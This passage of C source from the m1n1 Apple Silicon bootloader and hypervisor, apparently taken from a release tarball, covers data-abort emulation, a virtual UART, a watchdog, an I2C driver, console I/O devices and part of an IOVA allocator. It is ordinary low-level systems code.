memcpy(hook.data, val, 1 << width); hv_exc_proxy(ctx, START_HV, HV_HOOK_VM, &hook); break; } default: printf("HV: invalid SPTE 0x%016lx for IPA 0x%lx\n", pte, ipa); return false; } } else { hv_wdt_breadcrumb('3'); switch (FIELD_GET(SPTE_TYPE, pte)) { case SPTE_PROXY_HOOK_W: paddr = ipa; // fallthrough case SPTE_MAP: hv_wdt_breadcrumb('4'); if (!hv_pa_read(ctx, paddr, val, width)) return false; dprintf("HV: SPTE_MAP[R] @0x%lx 0x%lx -> 0x%lx (w=%d): 0x%lx\n", elr, ipa, paddr, 1 << width, val[0]); break; case SPTE_HOOK: { hv_wdt_breadcrumb('5'); hv_hook_t *hook = (hv_hook_t *)target; if (!hook(ctx, ipa, val, false, width)) return false; dprintf("HV: SPTE_HOOK[R] @0x%lx 0x%lx -> 0x%lx (w=%d) @%p: 0x%lx\n", elr, ipa, paddr, 1 << width, hook, val); break; } case SPTE_PROXY_HOOK_RW: case SPTE_PROXY_HOOK_R: { hv_wdt_breadcrumb('6'); struct hv_vm_proxy_hook_data hook = { .flags = FIELD_PREP(MMIO_EVT_WIDTH, width) | flags, .id = FIELD_GET(PTE_TARGET_MASK_L4, pte), .addr = ipa, }; hv_exc_proxy(ctx, START_HV, HV_HOOK_VM, &hook); memcpy(val, hook.data, 1 << width); break; } default: printf("HV: invalid SPTE 0x%016lx for IPA 0x%lx\n", pte, ipa); return false; } hv_wdt_breadcrumb('7'); if (pte & SPTE_TRACE_READ) emit_mmiotrace(elr, ipa, val, width, flags, pte & SPTE_TRACE_UNBUF); } hv_wdt_breadcrumb('*'); return true; } static bool hv_emulate_rw(struct exc_info *ctx, u64 pte, u64 vaddr, u64 ipa, u8 *val, bool is_write, u64 bytes, u64 elr, u64 par) { u64 aval[HV_MAX_RW_WORDS]; bool advance = (IS_HW(pte) || (IS_SW(pte) && FIELD_GET(SPTE_TYPE, pte) == SPTE_MAP)) ? 1 : 0; u64 off = 0; u64 width; bool first = true; u64 left = bytes; u64 paddr = (pte & PTE_TARGET_MASK_L4) | (vaddr & MASK(VADDR_L4_OFFSET_BITS)); while (left > 0) { memset(aval, 0, sizeof(aval)); if (left >= 64 && (ipa & 63) == 0) width = 6; else if (left >= 32 && (ipa & 31) == 0) width = 5; else if (left >= 16 && (ipa & 15) == 0) width = 4; else if (left >= 8 && (ipa & 7) == 0) width = 3; else if (left >= 4 && (ipa & 3) == 0) width = 2; else if (left >= 2 && (ipa & 1) == 0) width = 1; else width = 0; u64 chunk = 1 << width; /* if (chunk != bytes) printf("HV: Splitting unaligned %ld-byte %s: %ld bytes @ 0x%lx\n", bytes, is_write ? "write" : "read", chunk, vaddr); */ if (is_write) memcpy(aval, val + off, chunk); if (advance) pte = (paddr & PTE_TARGET_MASK_L4) | (pte & ~PTE_TARGET_MASK_L4); if (!hv_emulate_rw_aligned(ctx, pte, vaddr, ipa, aval, is_write, width, elr, par)) { if (!first) printf("HV: WARNING: Failed to emulate split op but part of it did commit!\n"); return false; } if (!is_write) memcpy(val + off, aval, chunk); left -= chunk; off += chunk; ipa += chunk; vaddr += chunk; if (advance) paddr += chunk; first = 0; } return true; } bool hv_handle_dabort(struct exc_info *ctx) { hv_wdt_breadcrumb('0'); u64 esr = hv_get_esr(); bool is_write = esr & ESR_ISS_DABORT_WnR; u64 far = hv_get_far(); u64 par; u64 ipa = hv_translate(far, true, is_write, &par); dprintf("hv_handle_abort(): stage 1 0x%0lx -> 0x%lx\n", far, ipa); if (!ipa) { printf("HV: stage 1 translation failed at VA 0x%0lx\n", far); return false; } if (ipa >= BIT(vaddr_bits)) { printf("hv_handle_abort(): IPA out of bounds: 0x%0lx -> 0x%lx\n", far, ipa); return false; } u64 pte = hv_pt_walk(ipa); if (!pte) { printf("HV: Unmapped IPA 0x%lx\n", ipa); return false; } if (IS_HW(pte)) { printf("HV: Data abort on mapped page (0x%lx -> 0x%lx)\n", far, pte); // Try again, this is usually a race ctx->elr -= 4; return true; } hv_wdt_breadcrumb('1'); assert(IS_SW(pte)); u64 elr = ctx->elr; u64 elr_pa = hv_translate(elr, false, false, NULL); if (!elr_pa) { printf("HV: Failed to fetch instruction for data abort at 0x%lx\n", elr); return false; } u32 insn = read32(elr_pa); u64 width; hv_wdt_breadcrumb('2'); u64 vaddr = far; u8 val[HV_MAX_RW_SIZE] ALIGNED(HV_MAX_RW_SIZE); memset(val, 0, sizeof(val)); if (is_write) { hv_wdt_breadcrumb('W'); if (!emulate_store(ctx, insn, (u64 *)val, &width, &vaddr)) { printf("HV: store not emulated: 0x%08x at 0x%lx\n", insn, ipa); return false; } } else { hv_wdt_breadcrumb('R'); if (!emulate_load(ctx, insn, NULL, &width, &vaddr)) { printf("HV: load not emulated: 0x%08x at 0x%lx\n", insn, ipa); return false; } } /* Check for HW page-straddling conditions Right now we only support the case where the page boundary is exactly halfway through the read/write. */ u64 bytes = 1 << width; u64 vaddrp0 = vaddr & ~MASK(VADDR_L3_OFFSET_BITS); u64 vaddrp1 = (vaddr + bytes - 1) & ~MASK(VADDR_L3_OFFSET_BITS); if (vaddrp0 == vaddrp1) { // Easy case, no page straddle if (far != vaddr) { printf("HV: faulted at 0x%lx, but expecting 0x%lx\n", far, vaddr); return false; } if (!hv_emulate_rw(ctx, pte, vaddr, ipa, val, is_write, bytes, elr, par)) return false; } else { // Oops, we're straddling a page boundary // Treat it as two separate loads or stores assert(bytes > 1); hv_wdt_breadcrumb('s'); u64 off = vaddrp1 - vaddr; u64 vaddr2; const char *other; if (far == vaddr) { other = "upper"; vaddr2 = vaddrp1; } else { if (far != vaddrp1) { printf("HV: faulted at 0x%lx, but expecting 0x%lx\n", far, vaddrp1); return false; } other = "lower"; vaddr2 = vaddr; } u64 par2; u64 ipa2 = hv_translate(vaddr2, true, esr & ESR_ISS_DABORT_WnR, &par2); if (!ipa2) { printf("HV: %s half stage 1 translation failed at VA 0x%0lx\n", other, vaddr2); return false; } if (ipa2 >= BIT(vaddr_bits)) { printf("hv_handle_abort(): %s half IPA out of bounds: 0x%0lx -> 0x%lx\n", other, vaddr2, ipa2); return false; } u64 pte2 = hv_pt_walk(ipa2); if (!pte2) { printf("HV: Unmapped %s half IPA 0x%lx\n", other, ipa2); return false; } hv_wdt_breadcrumb('S'); printf("HV: Emulating %s straddling page boundary as two ops @ 0x%lx (%ld bytes)\n", is_write ? "write" : "read", vaddr, bytes); bool upper_ret; if (far == vaddr) { if (!hv_emulate_rw(ctx, pte, vaddr, ipa, val, is_write, off, elr, par)) return false; upper_ret = hv_emulate_rw(ctx, pte2, vaddr2, ipa2, val + off, is_write, bytes - off, elr, par2); } else { if (!hv_emulate_rw(ctx, pte2, vaddr2, ipa2, val, is_write, off, elr, par2)) return false; upper_ret = hv_emulate_rw(ctx, pte, vaddrp1, ipa, val + off, is_write, bytes - off, elr, par); } if (!upper_ret) { printf("HV: WARNING: Failed to emulate upper half but lower half did commit!\n"); return false; } } if (vaddrp0 != vaddrp1) { printf("HV: Straddled r/w data:\n"); hexdump(val, bytes); } hv_wdt_breadcrumb('8'); if (!is_write && !emulate_load(ctx, insn, (u64 *)val, &width, &vaddr)) return false; hv_wdt_breadcrumb('9'); return true; } m1n1-1.4.11/src/hv_vuart.c000066400000000000000000000057171453754430200151640ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "hv.h" #include "aic.h" #include "iodev.h" #include "uart.h" #include "uart_regs.h" #include "usb.h" bool active = false; u32 ucon = 0; u32 utrstat = 0; u32 ufstat = 0; int vuart_irq = 0; static void update_irq(void) { ssize_t rx_queued; iodev_handle_events(IODEV_USB_VUART); utrstat |= UTRSTAT_TXBE | UTRSTAT_TXE; utrstat &= ~UTRSTAT_RXD; ufstat = 0; if ((rx_queued = iodev_can_read(IODEV_USB_VUART))) { utrstat |= UTRSTAT_RXD; if (rx_queued > 15) ufstat = FIELD_PREP(UFSTAT_RXCNT, 15) | UFSTAT_RXFULL; else ufstat = FIELD_PREP(UFSTAT_RXCNT, rx_queued); if (FIELD_GET(UCON_RXMODE, ucon) == UCON_MODE_IRQ && ucon & UCON_RXTO_ENA) { utrstat |= UTRSTAT_RXTO; } } if (FIELD_GET(UCON_TXMODE, ucon) == UCON_MODE_IRQ && ucon & UCON_TXTHRESH_ENA) { utrstat |= UTRSTAT_TXTHRESH; } if (vuart_irq) { uart_clear_irqs(); if (utrstat & (UTRSTAT_TXTHRESH | UTRSTAT_RXTHRESH | UTRSTAT_RXTO)) { aic_set_sw(vuart_irq, true); } else { aic_set_sw(vuart_irq, false); } } // printf("HV: vuart UTRSTAT=0x%x UFSTAT=0x%x UCON=0x%x\n", utrstat, ufstat, ucon); } static bool handle_vuart(struct exc_info *ctx, u64 addr, u64 *val, bool write, int width) { UNUSED(ctx); UNUSED(width); addr &= 0xfff; update_irq(); if (write) { // printf("HV: vuart W 0x%lx <- 0x%lx (%d)\n", addr, *val, width); switch (addr) { case UCON: ucon = *val; break; case UTXH: { uint8_t b = *val; if (iodev_can_write(IODEV_USB_VUART)) iodev_write(IODEV_USB_VUART, &b, 1); break; } case UTRSTAT: utrstat &= ~(*val & (UTRSTAT_TXTHRESH | UTRSTAT_RXTHRESH | UTRSTAT_RXTO)); break; } } else { switch (addr) { case UCON: *val = ucon; break; case URXH: if (iodev_can_read(IODEV_USB_VUART)) { uint8_t c; iodev_read(IODEV_USB_VUART, &c, 1); *val = c; } else { *val = 0; } break; case UTRSTAT: *val = utrstat; break; case UFSTAT: *val = ufstat; break; default: *val = 0; break; } // printf("HV: vuart R 0x%lx -> 0x%lx (%d)\n", addr, *val, width); } return true; } void hv_vuart_poll(void) { if (!active) return; update_irq(); } void hv_map_vuart(u64 base, int irq, iodev_id_t iodev) { hv_map_hook(base, handle_vuart, 0x1000); usb_iodev_vuart_setup(iodev); vuart_irq = irq; active = true; } m1n1-1.4.11/src/hv_wdt.c000066400000000000000000000067011453754430200146130ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "hv.h" #include "adt.h" #include "smp.h" #include "string.h" #include "uart.h" #include "utils.h" #define WDT_TIMEOUT 1 static bool hv_wdt_active = false; static bool hv_wdt_enabled = false; static volatile u64 hv_wdt_timestamp = 0; static u64 hv_wdt_timeout = 0; static volatile u64 hv_wdt_breadcrumbs[MAX_CPUS] = {0}; static int hv_wdt_cpu; static u64 cpu_dbg_base = 0; void hv_do_panic(void) { printf("Breadcrumbs:\n"); for (int cpu = 0; cpu < MAX_CPUS; cpu++) { if (cpu > 0 && !smp_is_alive(cpu)) continue; u64 tmp = hv_wdt_breadcrumbs[cpu]; printf("CPU %2d: ", cpu); for (int i = 56; i >= 0; i -= 8) { char c = (tmp >> i) & 0xff; if (c) printf("%c", c); } printf("\n"); } printf("Attempting to enter proxy\n"); iodev_console_flush(); struct uartproxy_msg_start start = { .reason = START_HV, .code = HV_WDT_BARK, }; uartproxy_run(&start); } void hv_wdt_bark(void) { uart_puts("HV watchdog: bark!"); uart_printf("Breadcrumbs: "); for (int cpu = 0; cpu < MAX_CPUS; cpu++) { if (cpu > 0 && !smp_is_alive(cpu)) continue; u64 tmp = hv_wdt_breadcrumbs[cpu]; uart_printf("CPU %2d: ", cpu); for (int i = 56; i >= 0; i -= 8) { char c = (tmp >> i) & 0xff; if (c) uart_putchar(c); } uart_putchar('\n'); } uart_puts("Attempting to enter proxy"); struct uartproxy_msg_start start = { .reason = START_HV, .code = HV_WDT_BARK, }; uartproxy_run(&start); reboot(); } void hv_wdt_main(void) { while (hv_wdt_active) { if (hv_wdt_enabled) { sysop("dmb ish"); u64 timestamp = hv_wdt_timestamp; sysop("isb"); u64 now = mrs(CNTPCT_EL0); sysop("isb"); if ((now - timestamp) > hv_wdt_timeout) hv_wdt_bark(); } udelay(1000); sysop("dmb ish"); } } void hv_wdt_pet(void) { hv_wdt_timestamp = mrs(CNTPCT_EL0); sysop("dmb ish"); } void hv_wdt_suspend(void) { hv_wdt_enabled = false; sysop("dsb ish"); } void hv_wdt_resume(void) { hv_wdt_pet(); hv_wdt_enabled = true; sysop("dsb ish"); } void hv_wdt_breadcrumb(char c) { u64 cpu = mrs(TPIDR_EL2); u64 tmp = hv_wdt_breadcrumbs[cpu]; tmp <<= 8; tmp |= c; hv_wdt_breadcrumbs[cpu] = tmp; sysop("dmb ish"); } void hv_wdt_init(void) { char boot_cpu_name[32]; snprintf(boot_cpu_name, sizeof(boot_cpu_name), "/cpus/cpu%d", boot_cpu_idx); int node = adt_path_offset(adt, boot_cpu_name); if (node < 0) { printf("Error getting %s node\n", boot_cpu_name); return; } u64 reg[2]; if (ADT_GETPROP_ARRAY(adt, node, "cpu-uttdbg-reg", reg) < 0) { printf("Error getting cpu-uttdbg-reg property\n"); return; } cpu_dbg_base = reg[0]; } void hv_wdt_start(int cpu) { if (hv_wdt_active) return; hv_wdt_cpu = cpu; memset((void *)hv_wdt_breadcrumbs, 0, sizeof(hv_wdt_breadcrumbs)); hv_wdt_timeout = mrs(CNTFRQ_EL0) * WDT_TIMEOUT; hv_wdt_pet(); hv_wdt_active = true; hv_wdt_enabled = true; smp_call4(hv_wdt_cpu, hv_wdt_main, 0, 0, 0, 0); } void hv_wdt_stop(void) { if (!hv_wdt_active) return; hv_wdt_active = false; smp_wait(hv_wdt_cpu); } m1n1-1.4.11/src/i2c.c000066400000000000000000000122061453754430200137720ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "adt.h" #include "i2c.h" #include "malloc.h" #include "pmgr.h" #include "types.h" #include "utils.h" #define PASEMI_FIFO_TX 0x00 #define PASEMI_TX_FLAG_READ BIT(10) #define PASEMI_TX_FLAG_STOP BIT(9) #define PASEMI_TX_FLAG_START BIT(8) #define PASEMI_FIFO_RX 0x04 #define PASEMI_RX_FLAG_EMPTY BIT(8) #define PASEMI_STATUS 0x14 #define PASEMI_STATUS_XFER_BUSY BIT(28) #define PASEMI_STATUS_XFER_ENDED BIT(27) #define PASEMI_CONTROL 0x1c #define PASEMI_CONTROL_CLEAR_RX BIT(10) #define PASEMI_CONTROL_CLEAR_TX BIT(9) struct i2c_dev { uintptr_t base; }; i2c_dev_t *i2c_init(const char *adt_node) { int adt_path[8]; int adt_offset; adt_offset = adt_path_offset_trace(adt, adt_node, adt_path); if (adt_offset < 0) { printf("i2c: Error getting %s node\n", adt_node); return NULL; } u64 base; if (adt_get_reg(adt, adt_path, "reg", 0, &base, NULL) < 0) { printf("i2c: Error getting %s regs\n", adt_node); return NULL; } if (pmgr_adt_power_enable(adt_node)) { printf("i2c: Error enabling power for %s\n", adt_node); return NULL; } i2c_dev_t *dev = calloc(1, sizeof(*dev)); if (!dev) return NULL; dev->base = base; return dev; } void i2c_shutdown(i2c_dev_t *dev) { free(dev); } static void i2c_clear_fifos(i2c_dev_t *dev) { set32(dev->base + PASEMI_CONTROL, PASEMI_CONTROL_CLEAR_TX | PASEMI_CONTROL_CLEAR_RX); } static void i2c_clear_status(i2c_dev_t *dev) { write32(dev->base + PASEMI_STATUS, 0xffffffff); } static void i2c_xfer_start_read(i2c_dev_t *dev, u8 addr, size_t len) { write32(dev->base + PASEMI_FIFO_TX, PASEMI_TX_FLAG_START | (addr << 1) | 1); write32(dev->base + PASEMI_FIFO_TX, PASEMI_TX_FLAG_READ | PASEMI_TX_FLAG_STOP | len); } static size_t i2c_xfer_read(i2c_dev_t *dev, u8 *bfr, size_t len) { for (size_t i = 0; i < len; ++i) { u32 timeout = 5000; u32 val; do { val = read32(dev->base + PASEMI_FIFO_RX); if (!(val & PASEMI_RX_FLAG_EMPTY)) break; udelay(10); } while (--timeout); if (val & PASEMI_RX_FLAG_EMPTY) { printf("i2c: timeout while reading (got %lu, expected %lu bytes)\n", i, len); return i; } bfr[i] = val; } return len; } static int i2c_xfer_write(i2c_dev_t *dev, u8 addr, u32 start, u32 stop, const u8 *bfr, size_t len) { if (start) write32(dev->base + PASEMI_FIFO_TX, PASEMI_TX_FLAG_START | (addr << 1)); for (size_t i = 0; i < len; ++i) { u32 data = bfr[i]; if (i == (len - 1) && stop) data |= PASEMI_TX_FLAG_STOP; write32(dev->base + PASEMI_FIFO_TX, data); } if (!stop) return 0; if (poll32(dev->base + PASEMI_STATUS, PASEMI_STATUS_XFER_BUSY, 0, 50000)) { printf( "i2c: timeout while waiting for PASEMI_STATUS_XFER_BUSY to clear after write xfer\n"); return -1; } return 0; } int i2c_smbus_read(i2c_dev_t *dev, u8 addr, u8 reg, u8 *bfr, size_t len) { int ret = -1; i2c_clear_fifos(dev); i2c_clear_status(dev); if (i2c_xfer_write(dev, addr, 1, 0, ®, 1)) goto err; i2c_xfer_start_read(dev, addr, len + 1); u8 len_reply; if (i2c_xfer_read(dev, &len_reply, 1) != 1) goto err; if (len_reply < len) printf("i2c: want to read %ld bytes from addr %d but can only read %d\n", len, addr, len_reply); if (len_reply > len) printf("i2c: want to read %ld bytes from addr %d but device wants to send %d\n", len, addr, len_reply); ret = i2c_xfer_read(dev, bfr, min(len, len_reply)); err: if (poll32(dev->base + PASEMI_STATUS, PASEMI_STATUS_XFER_BUSY, 0, 50000)) { printf("i2c: timeout while waiting for PASEMI_STATUS_XFER_BUSY to clear after read xfer\n"); return -1; } return ret; } int i2c_smbus_write(i2c_dev_t *dev, u8 addr, u8 reg, const u8 *bfr, size_t len) { i2c_clear_fifos(dev); i2c_clear_status(dev); if (i2c_xfer_write(dev, addr, 1, 0, ®, 1)) return -1; u8 len_send = len; if (i2c_xfer_write(dev, addr, 0, 0, &len_send, 1)) return -1; if (i2c_xfer_write(dev, addr, 0, 1, bfr, len)) return -1; return len_send; } int i2c_smbus_read32(i2c_dev_t *dev, u8 addr, u8 reg, u32 *val) { u8 bfr[4]; if (i2c_smbus_read(dev, addr, reg, bfr, 4) != 4) return -1; *val = (bfr[0]) | (bfr[1] << 8) | (bfr[2] << 16) | (bfr[3] << 24); return 0; } int i2c_smbus_read16(i2c_dev_t *dev, u8 addr, u8 reg, u16 *val) { u8 bfr[2]; if (i2c_smbus_read(dev, addr, reg, bfr, 2) != 2) return -1; *val = (bfr[0]) | (bfr[1] << 8); return 0; } int i2c_smbus_write32(i2c_dev_t *dev, u8 addr, u8 reg, u32 val) { u8 bfr[4]; bfr[0] = val; bfr[1] = val >> 8; bfr[2] = val >> 16; bfr[3] = val >> 24; return i2c_smbus_write(dev, addr, reg, bfr, 4); } int i2c_smbus_read8(i2c_dev_t *dev, u8 addr, u8 reg, u8 *val) { if (i2c_smbus_read(dev, addr, reg, val, 1) != 1) return -1; return 0; } m1n1-1.4.11/src/i2c.h000066400000000000000000000011561453754430200140010ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef I2C_H #define I2C_H #include "types.h" typedef struct i2c_dev i2c_dev_t; i2c_dev_t *i2c_init(const char *adt_node); void i2c_shutdown(i2c_dev_t *dev); int i2c_smbus_read(i2c_dev_t *dev, u8 addr, u8 reg, u8 *bfr, size_t len); int i2c_smbus_write(i2c_dev_t *dev, u8 addr, u8 reg, const u8 *bfr, size_t len); int i2c_smbus_read32(i2c_dev_t *dev, u8 addr, u8 reg, u32 *val); int i2c_smbus_write32(i2c_dev_t *dev, u8 addr, u8 reg, u32 val); int i2c_smbus_read16(i2c_dev_t *dev, u8 addr, u8 reg, u16 *val); int i2c_smbus_read8(i2c_dev_t *dev, u8 addr, u8 reg, u8 *val); #endif m1n1-1.4.11/src/iodev.c000066400000000000000000000164531453754430200144330ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ // #define DEBUG_IODEV #include "iodev.h" #include "memory.h" #include "string.h" #ifdef DEBUG_IODEV #define dprintf printf #else #define dprintf(...) \ do { \ } while (0) #endif #define CONSOLE_BUFFER_SIZE 8192 extern struct iodev iodev_uart; extern struct iodev iodev_fb; extern struct iodev iodev_usb_vuart; struct iodev *iodevs[IODEV_MAX] = { [IODEV_UART] = &iodev_uart, [IODEV_FB] = &iodev_fb, [IODEV_USB_VUART] = &iodev_usb_vuart, }; char con_buf[CONSOLE_BUFFER_SIZE]; size_t con_wp; size_t con_rp[IODEV_MAX]; void iodev_register_device(iodev_id_t id, struct iodev *dev) { if (id >= IODEV_MAX) return; iodevs[id] = dev; } struct iodev *iodev_unregister_device(iodev_id_t id) { if (id < IODEV_USB0 || id >= IODEV_MAX) return NULL; struct iodev *dev = iodevs[id]; iodevs[id] = NULL; return dev; } ssize_t iodev_can_read(iodev_id_t id) { if (!iodevs[id] || !iodevs[id]->ops->can_read) return 0; if (mmu_active()) spin_lock(&iodevs[id]->lock); ssize_t ret = iodevs[id]->ops->can_read(iodevs[id]->opaque); if (mmu_active()) spin_unlock(&iodevs[id]->lock); return ret; } bool iodev_can_write(iodev_id_t id) { if (!iodevs[id] || !iodevs[id]->ops->can_write) return false; if (mmu_active()) spin_lock(&iodevs[id]->lock); bool ret = iodevs[id]->ops->can_write(iodevs[id]->opaque); if (mmu_active()) spin_unlock(&iodevs[id]->lock); return ret; } ssize_t iodev_read(iodev_id_t id, void *buf, size_t length) { if (!iodevs[id] || !iodevs[id]->ops->read) return -1; if (mmu_active()) spin_lock(&iodevs[id]->lock); ssize_t ret = iodevs[id]->ops->read(iodevs[id]->opaque, buf, length); if (mmu_active()) spin_unlock(&iodevs[id]->lock); return ret; } ssize_t iodev_write(iodev_id_t id, const void *buf, size_t length) { if (!iodevs[id] || !iodevs[id]->ops->write) return -1; if (mmu_active()) spin_lock(&iodevs[id]->lock); ssize_t ret = iodevs[id]->ops->write(iodevs[id]->opaque, buf, length); if (mmu_active()) spin_unlock(&iodevs[id]->lock); return ret; } ssize_t iodev_queue(iodev_id_t id, const void *buf, size_t length) { if (!iodevs[id] || !iodevs[id]->ops->queue) return iodev_write(id, buf, length); if (mmu_active()) spin_lock(&iodevs[id]->lock); ssize_t ret = iodevs[id]->ops->queue(iodevs[id]->opaque, buf, length); if (mmu_active()) spin_unlock(&iodevs[id]->lock); return ret; } void iodev_flush(iodev_id_t id) { if (!iodevs[id] || !iodevs[id]->ops->flush) return; if (mmu_active()) spin_lock(&iodevs[id]->lock); iodevs[id]->ops->flush(iodevs[id]->opaque); if (mmu_active()) spin_unlock(&iodevs[id]->lock); } void iodev_lock(iodev_id_t id) { if (!iodevs[id]) return; if (mmu_active()) spin_lock(&iodevs[id]->lock); } void iodev_unlock(iodev_id_t id) { if (!iodevs[id]) return; if (mmu_active()) spin_unlock(&iodevs[id]->lock); } int in_iodev = 0; static DECLARE_SPINLOCK(console_lock); void iodev_console_write(const void *buf, size_t length) { bool do_lock = mmu_active(); if (!do_lock && !is_boot_cpu()) { if (length && iodevs[IODEV_UART]->usage & USAGE_CONSOLE) { iodevs[IODEV_UART]->ops->write(iodevs[IODEV_UART]->opaque, "*", 1); iodevs[IODEV_UART]->ops->write(iodevs[IODEV_UART]->opaque, buf, length); } return; } if (do_lock) spin_lock(&console_lock); if (in_iodev) { if (length && iodevs[IODEV_UART]->usage & USAGE_CONSOLE) { iodevs[IODEV_UART]->ops->write(iodevs[IODEV_UART]->opaque, "+", 1); iodevs[IODEV_UART]->ops->write(iodevs[IODEV_UART]->opaque, buf, length); } if (do_lock) spin_unlock(&console_lock); return; } in_iodev++; dprintf(" iodev_console_write() wp=%d\n", con_wp); for (iodev_id_t id = 0; id < IODEV_MAX; id++) { if (!iodevs[id]) continue; if (!(iodevs[id]->usage & USAGE_CONSOLE)) { /* Drop buffer */ con_rp[id] = con_wp + length; continue; } if (!iodev_can_write(id)) continue; if (con_wp > CONSOLE_BUFFER_SIZE) con_rp[id] = max(con_wp - CONSOLE_BUFFER_SIZE, con_rp[id]); dprintf(" rp=%d\n", con_rp[id]); // Flush existing buffer to device if possible while (con_rp[id] < con_wp) { size_t buf_rp = con_rp[id] % CONSOLE_BUFFER_SIZE; size_t block = min(con_wp - con_rp[id], CONSOLE_BUFFER_SIZE - buf_rp); dprintf(" write buf %d\n", block); ssize_t ret = iodev_write(id, &con_buf[buf_rp], block); if (ret <= 0) goto next_dev; con_rp[id] += ret; } const u8 *p = buf; size_t wrote = 0; // Write the current buffer while (wrote < length) { ssize_t ret = iodev_write(id, p, length - wrote); if (ret <= 0) goto next_dev; con_rp[id] += ret; wrote += ret; p += ret; } next_dev:; } // Update console buffer if (length > CONSOLE_BUFFER_SIZE) { buf += (length - CONSOLE_BUFFER_SIZE); con_wp += (length - CONSOLE_BUFFER_SIZE); length = CONSOLE_BUFFER_SIZE; } while (length) { size_t buf_wp = con_wp % CONSOLE_BUFFER_SIZE; size_t block = min(length, CONSOLE_BUFFER_SIZE - buf_wp); memcpy(&con_buf[buf_wp], buf, block); buf += block; con_wp += block; length -= block; } in_iodev--; if (do_lock) spin_unlock(&console_lock); } void iodev_handle_events(iodev_id_t id) { bool do_lock = mmu_active(); if (do_lock) spin_lock(&console_lock); if (in_iodev) { if (do_lock) spin_unlock(&console_lock); return; } in_iodev++; if (iodevs[id]->ops->handle_events) iodevs[id]->ops->handle_events(iodevs[id]->opaque); in_iodev--; if (iodev_can_write(id)) iodev_console_write(NULL, 0); if (do_lock) spin_unlock(&console_lock); } void iodev_console_kick(void) { iodev_console_write(NULL, 0); for (iodev_id_t id = 0; id < IODEV_MAX; id++) { if (!iodevs[id]) continue; if (!(iodevs[id]->usage & USAGE_CONSOLE)) continue; iodev_handle_events(id); } } void iodev_console_flush(void) { for (iodev_id_t id = 0; id < IODEV_MAX; id++) { if (!iodevs[id]) continue; if (!(iodevs[id]->usage & USAGE_CONSOLE)) continue; iodev_flush(id); } } void iodev_set_usage(iodev_id_t id, iodev_usage_t usage) { if (iodevs[id]) iodevs[id]->usage = usage; } iodev_usage_t iodev_get_usage(iodev_id_t id) { if (iodevs[id]) return iodevs[id]->usage; return 0; } void *iodev_get_opaque(iodev_id_t id) { if (id >= IODEV_MAX || !iodevs[id]) return NULL; return iodevs[id]->opaque; } m1n1-1.4.11/src/iodev.h000066400000000000000000000032271453754430200144330ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #ifndef IODEV_H #define IODEV_H #include "types.h" #include "utils.h" #define USB_IODEV_COUNT 8 typedef enum _iodev_id_t { IODEV_UART, IODEV_FB, IODEV_USB_VUART, IODEV_USB0, IODEV_MAX = IODEV_USB0 + USB_IODEV_COUNT, } iodev_id_t; typedef enum _iodev_usage_t { USAGE_CONSOLE = BIT(0), USAGE_UARTPROXY = BIT(1), } iodev_usage_t; struct iodev_ops { ssize_t (*can_read)(void *opaque); bool (*can_write)(void *opaque); ssize_t (*read)(void *opaque, void *buf, size_t length); ssize_t (*write)(void *opaque, const void *buf, size_t length); ssize_t (*queue)(void *opaque, const void *buf, size_t length); void (*flush)(void *opaque); void (*handle_events)(void *opaque); }; struct iodev { const struct iodev_ops *ops; spinlock_t lock; iodev_usage_t usage; void *opaque; }; void iodev_register_device(iodev_id_t id, struct iodev *dev); struct iodev *iodev_unregister_device(iodev_id_t id); ssize_t iodev_can_read(iodev_id_t id); bool iodev_can_write(iodev_id_t id); ssize_t iodev_read(iodev_id_t id, void *buf, size_t length); ssize_t iodev_write(iodev_id_t id, const void *buf, size_t length); ssize_t iodev_queue(iodev_id_t id, const void *buf, size_t length); void iodev_flush(iodev_id_t id); void iodev_handle_events(iodev_id_t id); void iodev_lock(iodev_id_t id); void iodev_unlock(iodev_id_t id); void iodev_console_write(const void *buf, size_t length); void iodev_console_kick(void); void iodev_console_flush(void); iodev_usage_t iodev_get_usage(iodev_id_t id); void iodev_set_usage(iodev_id_t id, iodev_usage_t usage); void *iodev_get_opaque(iodev_id_t id); #endif m1n1-1.4.11/src/iova.c000066400000000000000000000137201453754430200142550ustar00rootroot00000000000000/* SPDX-License-Identifier: MIT */ #include "iova.h" #include "malloc.h" #include "string.h" #include "utils.h" struct iova_block { u64 iova; size_t sz; struct iova_block *next; }; struct iova_domain { u64 base; u64 limit; struct iova_block *free_list; }; iova_domain_t *iovad_init(u64 base, u64 limit) { if (base != ALIGN_UP(base, SZ_32M)) { printf("iovad_init: base it not is not aligned to SZ_32M\n"); return NULL; } iova_domain_t *iovad = calloc(1, sizeof(*iovad)); if (!iovad) return NULL; struct iova_block *blk = calloc(1, sizeof(*blk)); if (!blk) { free(iovad); return NULL; } /* don't hand out NULL pointers */ blk->iova = base; blk->sz = limit - SZ_16K; blk->next = NULL; iovad->base = base; iovad->limit = limit; iovad->free_list = blk; return iovad; } void iovad_shutdown(iova_domain_t *iovad, dart_dev_t *dart) { struct iova_block *blk = iovad->free_list; while (blk != NULL) { struct iova_block *blk_free = blk; blk = blk->next; free(blk_free); } if (dart) for (u64 addr = iovad->base; addr < iovad->limit; addr += SZ_32M) dart_free_l2(dart, addr); free(iovad); } bool iova_reserve(iova_domain_t *iovad, u64 iova, size_t sz) { iova = ALIGN_DOWN(iova, SZ_16K); sz = ALIGN_UP(sz, SZ_16K); if (iova == 0) { iova += SZ_16K; sz -= SZ_16K; } if (sz == 0) return true; if (!iovad->free_list) { printf("iova_reserve: trying to reserve iova range but empty free list\n"); return false; } struct iova_block *blk = iovad->free_list; struct iova_block *blk_prev = NULL; while (blk != NULL) { if (iova >= blk->iova && iova < (blk->iova + blk->sz)) { if (iova + sz >= (blk->iova + blk->sz)) { printf("iova_reserve: tried to reserve [%lx; +%lx] but block in free list has " "range [%lx; +%lx]\n", iova, sz, blk->iova, blk->sz); return false; } if (iova == blk->iova && sz == blk->sz) { /* if the to-be-reserved range is present as a single block in the free list we just * need to remove it */ if (blk_prev) blk_prev->next = blk->next; else iovad->free_list = NULL; free(blk); return true; } else if (iova == blk->iova) { /* cut off the reserved range from the beginning */ blk->iova += sz; blk->sz -= sz; return true; } else if (iova + sz == blk->iova + blk->sz) { /* cut off the reserved range from the end */ blk->sz -= sz; return true; } else { /* the to-be-reserved range is in the 